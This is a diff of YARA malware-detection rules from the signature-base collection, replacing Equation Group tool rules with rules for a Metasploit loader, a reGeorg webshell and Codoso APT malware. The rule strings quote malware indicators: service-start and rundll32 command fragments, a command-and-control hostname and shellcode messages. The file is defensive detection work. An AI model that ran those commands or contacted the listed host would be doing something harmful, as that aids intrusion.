+		hash7 = "c787144d285fcca8a542f7a5525a37bcd089b39068b9a4db7fe3554ee6c08301"
+		hash8 = "ddaa4d23e4651a517fffbd29f0924607ba6b6253171144da5e49237afe91666b"
 
 	strings:
-		$s1 = "set uRemoteUploadCommand \"[exec cat /current/.ourtn-ftshell-upcommand]\"" fullword ascii
-		$s2 = "send \"\\[ \\\"\\$BASH\\\" = \\\"/bin/bash\\\" -o \\\"\\$SHELL\\\" = \\\"/bin/bash\\\" \\] &&" ascii
-		$s3 = "system rm -f /current/tmp/ftshell.latest" fullword ascii
-		$s4 = "# ftshell -- File Transfer Shell" fullword ascii
+		$a1 = "%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%" ascii
+		$a2 = "/proc/self/exe" ascii
+		$s1 = "HISTFILE" ascii fullword
+		$s2 = "/tmp/guid" ascii fullword
+		$sop1 = { e8 ?? ?? ?? ?? c7 43 04 00 00 00 00 8b 3b 85 ff 7e 2? e8 ?? ?? 0? 00 85 c0 7e 0? }
+		$sop2 = { c7 43 04 00 00 00 00 8b 3b 85 ff 7e 2? e8 ?? ?? 0? 00 85 c0 7e 0? f7 d8 }
 
 	condition:
-		( uint16(0)==0x2123 and filesize <100KB and 1 of them ) or (2 of them )
+		( uint32be(0)==0x7f454c46 or ( uint32be(0)==0xcafebabe and uint32be(4)<0x20) or uint32(0)==0xfeedface or uint32(0)==0xfeedfacf) and filesize <2MB and all of ($a*) and 2 of ($s*) or 3 of ($s*)
 }
-rule SIGNATURE_BASE_Equationgroup__Scanner_Scanner_V2_1_2 : FILE
+rule SIGNATURE_BASE_Metasploit_Loader_Rsmudge : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- from files scanner, scanner.v2.1.2"
+		description = "Detects a Metasploit Loader by RSMudge - file loader.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bf1f2119-f742-5106-96f0-de88755275ef"
-		date = "2017-04-08"
+		id = "4d8a215e-a942-5df9-bdad-0c4158992429"
+		date = "2016-04-20"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L873-L892"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c42aaacea1347fd64d7f91421f692e77e33e273d4c2e71806ef7f5f086aba11"
+		reference = "https://github.com/rsmudge/metasploit-loader"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_loader_rsmudge.yar#L10-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "50b1898e3087a5e0876b87179252c452af48e00bbef52297060d70acd90d0133"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "dcbcd8a98ec93a4e877507058aa26f0c865b35b46b8e6de809ed2c4b3db7e222"
-		hash2 = "9807aaa7208ed6c5da91c7c30ca13d58d16336ebf9753a5cea513bcb59de2cff"
+		hash1 = "afe34bfe2215b048915b1d55324f1679d598a0741123bc24274d4edc6e395a8d"
 
 	strings:
-		$s1 = "Welcome to the network scanning tool" fullword ascii
-		$s2 = "Scanning port %d" fullword ascii
-		$s3 = "/current/down/cmdout/scans" fullword ascii
-		$s4 = "Scan for SSH version" fullword ascii
-		$s5 = "program vers proto   port  service" fullword ascii
+		$s1 = "Could not resolve target" fullword ascii
+		$s2 = "Could not connect to target" fullword ascii
+		$s3 = "%s [host] [port]" fullword ascii
+		$s4 = "ws2_32.dll is out of date." fullword ascii
+		$s5 = "read a strange or incomplete length value" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <100KB and 2 of them ) or ( all of them )
+		( uint16(0)==0x5a4d and filesize <200KB and (3 of ($s*))) or ( all of them )
 }
-rule SIGNATURE_BASE_Equationgroup__Ghost_Sparc_Ghost_X86_3 : FILE
+rule SIGNATURE_BASE_REGEORG_Tuneller_Generic : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- from files ghost_sparc, ghost_x86"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ccc9c9be-8f78-5071-a11e-47f994cf8f08"
-		date = "2017-04-08"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Mandiant"
+		id = "a87979b7-2732-5a32-b3f3-a815a58b6589"
+		date = "2021-12-20"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L894-L912"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c4ad8e06934c1ece520863951f14cbf86d1bc4bba97aede1d58def1e5c7df4eb"
+		reference = "https://www.mandiant.com/resources/unc3524-eye-spy-email"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/webshell_regeorg.yar#L1-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ba22992ce835dadcd06bff4ab7b162f9"
+		logic_hash = "1657928875c3cd2d5bf774929b0497d78f0211b321f8a4138cc9b8c80b9f99d6"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "d5ff0208d9532fc0c6716bd57297397c8151a01bf4f21311f24e7a72551f9bf1"
-		hash2 = "82c899d1f05b50a85646a782cddb774d194ef85b74e1be642a8be2c7119f4e33"
+		date_modified = "2021-12-20"
 
 	strings:
-		$x1 = "Usage: %s [-v os] [-p] [-r] [-c command] [-a attacker] target" fullword ascii
-		$x2 = "Sending shellcode as part of an open command..." fullword ascii
-		$x3 = "cmdshellcode" fullword ascii
-		$x4 = "You will not be able to run the shellcode. Exiting..." fullword ascii
+		$s1 = "System.Net.IPEndPoint"
+		$s2 = "Response.AddHeader"
+		$s3 = "Request.InputStream.Read"
+		$s4 = "Request.Headers.Get"
+		$s5 = "Response.Write"
+		$s6 = "System.Buffer.BlockCopy"
+		$s7 = "Response.BinaryWrite"
+		$s8 = "SocketException soex"
 
 	condition:
-		( uint16(0)==0x457f and filesize <70KB and 1 of them ) or (2 of them )
+		filesize <1MB and 7 of them
 }
-rule SIGNATURE_BASE_Equationgroup__Pclean_V2_1_1_Pclean_V2_1_1_4 : FILE
+rule SIGNATURE_BASE_Codoso_Plugx_3 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- from files pclean.v2.1.1.0-linux-i386, pclean.v2.1.1.0-linux-x86_64"
+		description = "Detects Codoso APT PlugX Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ed4a3b3a-0935-533b-80dd-ee23b2e8df00"
-		date = "2017-04-08"
+		id = "55066812-3a8e-5099-afb4-ff7a59f1ccb2"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L914-L930"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5622d6fff876fa5d07795491d14f0396378c1b07b69cf8bcabb5e0bd3c19e72a"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L11-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "74e1e83ac69e45a3bee78ac2fac00f9e897f281ea75ed179737e9b6fe39971e3"
+		logic_hash = "51615c2583bb672f148f216e4856e7e346b17884f0740d69f6a24f08b594bda4"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "cdb5b1173e6eb32b5ea494c38764b9975ddfe83aa09ba0634c4bafa41d844c97"
-		hash2 = "ab7f26faed8bc2341d0517d9cb2bbf41795f753cd21340887fc2803dc1b9a1dd"
 
 	strings:
-		$s1 = "-c cmd_name:     strncmp() search for 1st %d chars of commands that " fullword ascii
-		$s2 = "e.g.: -n 1-1024,1080,6666,31337 " fullword ascii
+		$s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide
+		$s2 = "mcs.exe" fullword ascii
+		$s3 = "McAltLib.dll" fullword ascii
+		$s4 = "WinRAR self-extracting archive" fullword wide
 
 	condition:
-		( uint16(0)==0x457f and filesize <50KB and all of them )
+		uint16(0)==0x5a4d and filesize <1200KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup__Jparsescan_Parsescan_5 : FILE
+rule SIGNATURE_BASE_Codoso_Plugx_2 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- from files jparsescan, parsescan"
+		description = "Detects Codoso APT PlugX Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "964a4e49-9163-5dd6-bb2c-88fa39d5f356"
-		date = "2017-04-08"
+		id = "0402a0ff-5664-52db-a739-51c5181853f8"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L932-L950"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "719baa53db53f4cc4f3e9ed935814e42e5cb4b7fb8eaaa373feb73df69bfcde0"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L28-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b9510e4484fa7e3034228337768176fce822162ad819539c6ca3631deac043eb"
+		logic_hash = "5ee652a135d4865340d2ce6421144ec76ccc7ab69704e92904b2e2ebfc72edfc"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "8c248eec0af04300f3ba0188fe757850d283de84cf42109638c1c1280c822984"
-		hash2 = "942c12067b0afe9ebce50aa9dfdbf64e6ed0702d9a3a00d25b4fca62a38369ef"
 
 	strings:
-		$s1 = "# default is to dump out all scanned hosts found" fullword ascii
-		$s2 = "$bool .= \" -r \" if (/mibiisa.* -r/);" fullword ascii
-		$s3 = "sadmind is available on two ports, this also works)" fullword ascii
-		$s4 = "-x IP      gives \\\"hostname:# users:load ...\\\" if positive xwin scan" fullword ascii
+		$s1 = "%TEMP%\\HID" fullword wide
+		$s2 = "%s\\hid.dll" fullword wide
+		$s3 = "%s\\SOUNDMAN.exe" fullword wide
+		$s4 = "\"%s\\SOUNDMAN.exe\" %d %d" fullword wide
+		$s5 = "%s\\HID.dllx" fullword wide
 
 	condition:
-		( uint16(0)==0x2123 and filesize <40KB and 1 of them ) or (2 of them )
+		( uint16(0)==0x5a4d and filesize <400KB and 3 of them ) or all of them
 }
-rule SIGNATURE_BASE_Equationgroup__Funnelout_V4_1_0_1 : FILE
+rule SIGNATURE_BASE_Codoso_Customtcp_4 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- from files funnelout.v4.1.0.1.pl"
+		description = "Detects Codoso APT CustomTCP Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b0c42b06-8314-5731-b333-59bb90785cf4"
-		date = "2017-04-08"
+		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L952-L969"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ae0b387725017de2766593ea55677dca36eee68107e0692a7d5e2526db74765b"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L46-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fcabbd37acf75e1233894682e77abad95a849ed68c7e8ce2690dde03d8160f8b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash2 = "457ed14e806fdbda91c4237c8dc058c55e5678f1eecdd78572eff6ca0ed86d33"
+		hash1 = "ea67d76e9d2e9ce3a8e5f80ff9be8f17b2cd5b1212153fdf36833497d9c060c0"
+		hash2 = "130abb54112dd47284fdb169ff276f61f2b69d80ac0a9eac52200506f147b5f8"
+		hash3 = "3ea6b2b51050fe7c07e2cf9fa232de6a602aa5eff66a2e997b25785f7cf50daa"
+		hash4 = "02cf5c244aebaca6195f45029c1e37b22495609be7bdfcfcd79b0c91eac44a13"
 
 	strings:
-		$s1 = "header(\"Set-Cookie: bbsessionhash=\" . \\$hash . \"; path=/; HttpOnly\");" fullword ascii
-		$s2 = "if ($code =~ /proxyhost/) {" fullword ascii
-		$s3 = "\\$rk[1] = \\$rk[1] - 1;" ascii
-		$s4 = "#existsUser($u) or die \"User '$u' does not exist in database.\\n\";" fullword ascii
+		$x1 = "varus_service_x86.dll" fullword ascii
+		$s1 = "/s %s /p %d /st %d /rt %d" fullword ascii
+		$s2 = "net start %%1" fullword ascii
+		$s3 = "ping 127.1 > nul" fullword ascii
+		$s4 = "McInitMISPAlertEx" fullword ascii
+		$s5 = "sc start %%1" fullword ascii
+		$s6 = "net stop %%1" fullword ascii
+		$s7 = "WorkerRun" fullword ascii
 
 	condition:
-		( uint16(0)==0x2123 and filesize <100KB and 2 of them ) or ( all of them )
+		( uint16(0)==0x5a4d and filesize <400KB and 5 of them ) or ($x1 and 2 of ($s*))
 }
-rule SIGNATURE_BASE_Equationgroup__Magicjack_V1_1_0_0_Client : FILE
+rule SIGNATURE_BASE_Codoso_Customtcp_3 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- from files magicjack_v1.1.0.0_client-1.1.0.0.py"
+		description = "Detects Codoso APT CustomTCP Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "be18f36c-3d6c-53a3-89b6-bfc53e1dd87d"
-		date = "2017-04-08"
+		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L971-L988"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5e22b01aa9b1283fa7a326b7c0f8047ed373fac750c89e9ba02c49f0f454e275"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L72-L93"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d66106ec2e743dae1d71b60a602ca713b93077f56a47045f4fc9143aa3957090"
+		logic_hash = "fb486985587fc28c45cbdf6a63550e60e8d6c18f218544adc19c5604193fe8ea"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "63292a2353275a3bae012717bb500d5169cd024064a1ce8355ecb4e9bfcdfdd1"
 
 	strings:
-		$s1 = "temp = ((left >> 1) ^ right) & 0x55555555" fullword ascii
-		$s2 = "right ^= (temp <<  16) & 0xffffffff" fullword ascii
-		$s3 = "tempresult = \"\"" fullword ascii
-		$s4 = "num = self.bytes2long(data)" fullword ascii
+		$s1 = "DnsApi.dll" fullword ascii
+		$s2 = "softWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains\\%s" ascii
+		$s3 = "CONNECT %s:%d hTTP/1.1" ascii
+		$s4 = "CONNECT %s:%d HTTp/1.1" ascii
+		$s5 = "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0;)" ascii
+		$s6 = "iphlpapi.dll" ascii
+		$s7 = "%systemroot%\\Web\\" ascii
+		$s8 = "Proxy-Authorization: Negotiate %s" ascii
+		$s9 = "CLSID\\{%s}\\InprocServer32" ascii
 
 	condition:
-		( uint16(0)==0x2123 and filesize <80KB and 3 of them ) or ( all of them )
+		( uint16(0)==0x5a4d and filesize <500KB and 5 of them ) or 7 of them
 }
-rule SIGNATURE_BASE_Equationgroup__Ftshell : FILE
+rule SIGNATURE_BASE_Codoso_Customtcp_2 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- from files ftshell, ftshell.v3.10.3.7"
+		description = "Detects Codoso APT CustomTCP Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6a2db0a0-386f-5ea6-b0bc-e28ed2fd53d5"
-		date = "2017-04-08"
+		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L990-L1007"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "84c646b2c81f870f650fafd26471017b00b3b7020e72390f818304958e694572"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L94-L114"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3577845d71ae995762d4a8f43b21ada49d809f95c127b770aff00ae0b64264a3"
+		logic_hash = "a355ac60dca5ca880a90a5c2720690b4691630fd434411758fa7ff006f7389ba"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "9bebeb57f1c9254cb49976cc194da4be85da4eb94475cb8d813821fb0b24f893"
-		hash4 = "0be739024b41144c3b63e40e46bab22ac098ccab44ab2e268efc3b63aea02951"
 
 	strings:
-		$s1 = "if { [string length $uRemoteUploadCommand]" fullword ascii
-		$s2 = "processUpload" fullword ascii
-		$s3 = "global dothisreallyquiet" fullword ascii
+		$s1 = "varus_service_x86.dll" fullword ascii
+		$s2 = "/s %s /p %d /st %d /rt %d" fullword ascii
+		$s3 = "net start %%1" fullword ascii
+		$s4 = "ping 127.1 > nul" fullword ascii
+		$s5 = "McInitMISPAlertEx" fullword ascii
+		$s6 = "sc start %%1" fullword ascii
+		$s7 = "B_WKNDNSK^" fullword ascii
+		$s8 = "net stop %%1" fullword ascii
 
 	condition:
-		( uint16(0)==0x2123 and filesize <100KB and 2 of them ) or ( all of them )
+		uint16(0)==0x5a4d and filesize <406KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Store_Linux_I386_V_3_3_0 : FILE
+rule SIGNATURE_BASE_Codoso_PGV_PVID_6 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Codoso APT PGV_PVID Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b88be148-5308-583a-b41e-2bea9b837e2a"
-		date = "2017-04-09"
+		id = "6d1d8490-fdcb-5263-ae00-0b436e822fc3"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1018-L1033"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f284c2fecee23f01f83e0534d7d56a88b102e6dcc02a26321fe246604dc8cb0e"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L115-L129"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4b16f6e8414d4192d0286b273b254fa1bd633f5d3d07ceebd03dfdfc32d0f17f"
+		logic_hash = "0907274bd6c97b7d7b2913e42aa748c92012aeeb32196ddcbcd30332f4e95ac9"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "abc27fda9a0921d7cf2863c29768af15fdfe47a0b3e7a131ef7e5cc057576fbc"
 
 	strings:
-		$s1 = "[-] Failed to map file: %s" fullword ascii
-		$s2 = "[-] can not NULL terminate input data" fullword ascii
-		$s3 = "[!] Name has size of 0!" fullword ascii
+		$s0 = "rundll32 \"%s\",%s" fullword ascii
+		$s1 = "/c ping 127.%d & del \"%s\"" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <60KB and all of them )
+		uint16(0)==0x5a4d and filesize <6000KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Morerats_Client_Genkey : FILE
+rule SIGNATURE_BASE_Codoso_Gh0St_3 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Codoso APT Gh0st Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fb305be7-9e16-502e-89ca-a40bb6890404"
-		date = "2017-04-09"
+		id = "55fb17c5-ee11-55be-9af3-e9fe8d6160b5"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1035-L1049"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c1d823e297b0b1f47f12a3240d59f5ecc482f1140e5b2962f76ec2fff719664a"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L130-L151"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bf52ca4d4077ae7e840cf6cd11fdec0bb5be890ddd5687af5cfa581c8c015fcd"
+		logic_hash = "e24d434d8f08b83f8e4b1f4aa75a84a040e4f56cdbd9a58ff49c463437e78c24"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0ce455fb7f46e54a5db9bef85df1087ff14d2fc60a88f2becd5badb9c7fe3e89"
 
 	strings:
-		$x1 = "rsakey_txt = lo_execute('openssl genrsa 2048 2> /dev/null | openssl rsa -text 2> /dev/null')" fullword ascii
-		$x2 = "client_auth = binascii.hexlify(lo_execute('openssl rand 16'))" fullword ascii
+		$x1 = "RunMeByDLL32" fullword ascii
+		$s1 = "svchost.dll" fullword wide
+		$s2 = "server.dll" fullword ascii
+		$s3 = "Copyright ? 2008" fullword wide
+		$s4 = "testsupdate33" fullword ascii
+		$s5 = "Device Protect Application" fullword wide
+		$s6 = "MSVCP60.DLL" fullword ascii
+		$s7 = "mail-news.eicp.net" fullword ascii
 
 	condition:
-		( filesize <3KB and all of them )
+		uint16(0)==0x5a4d and filesize <195KB and $x1 or 4 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Cursetingle_2_0_1_2_Mswin32_V_2_0_1 : FILE
+rule SIGNATURE_BASE_Codoso_Gh0St_2 : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Codoso APT Gh0st Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7a1870ba-d600-5c11-8d3d-41395ad8be63"
-		date = "2017-04-09"
+		id = "5643d028-2a76-5bce-bf2f-8be706ab1fd5"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1051-L1065"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bc27edc946beb5065d4fe43e53a33b448c24c7dd3eae0cedd4770c02fce7836b"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L152-L170"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
+		logic_hash = "5864e52820578769a31a6925795d13283d7b3bc5f9ac50ac8aea6578a5919e71"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "614bf159b956f20d66cedf25af7503b41e91841c75707af0cdf4495084092a61"
 
 	strings:
-		$s1 = "[%.2u%.2u%.2u%.2u%.2u%.2u]" fullword ascii
-		$s2 = "0123456789abcdefABCEDF:" fullword ascii
+		$s0 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
+		$s1 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
+		$s13 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
+		$s14 = "%s -r debug 1" fullword ascii
+		$s15 = "\\\\.\\keymmdrv1" fullword ascii
+		$s17 = "RunMeByDLL32" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		uint16(0)==0x5a4d and filesize <500KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Cursesleepy_Mswin32_V_1_0_0 : FILE
+rule SIGNATURE_BASE_Codoso_Customtcp : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Codoso CustomTCP Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f60ff218-1cb7-5f44-a756-1ee67649e6a6"
-		date = "2017-04-09"
+		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"
+		date = "2016-01-30"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1067-L1082"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0dcbf2b314ff9c392ae0cb4f14762dd20c6b85f7f547af683db3aea1c57dee57"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_codoso.yar#L171-L188"
